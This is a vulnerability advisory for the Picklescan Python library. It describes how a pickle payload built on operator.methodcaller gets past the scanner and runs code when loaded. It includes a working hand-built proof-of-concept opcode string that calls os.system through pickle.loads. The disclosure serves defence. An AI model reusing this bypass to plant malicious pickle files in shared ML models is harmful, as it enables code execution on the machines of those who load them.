PT-2025-55501 · Pypi · Picklescan
Published
2025-12-29
·
Updated
2025-12-29
CVSS v4.0
7.4
High
| Vector | AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P |
Summary
Picklescan uses
operator.methodcaller, which is a built-in python library function to execute remote pickle files.Details
The attack payload executes in the following steps:
- First, the attacker crafts the payload by calling the
operator.methodcallerfunction in methodreduce. - Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.
PoC
import pickle
import pickletools
opcode1 = b'''cbuiltins
import
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)This PoC can't be easily created by pickle.dumps, therefore it was manually built.
Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Report by
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
Fix
Deserialization of Untrusted Data
Code Injection
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Related Identifiers
Affected Products
Picklescan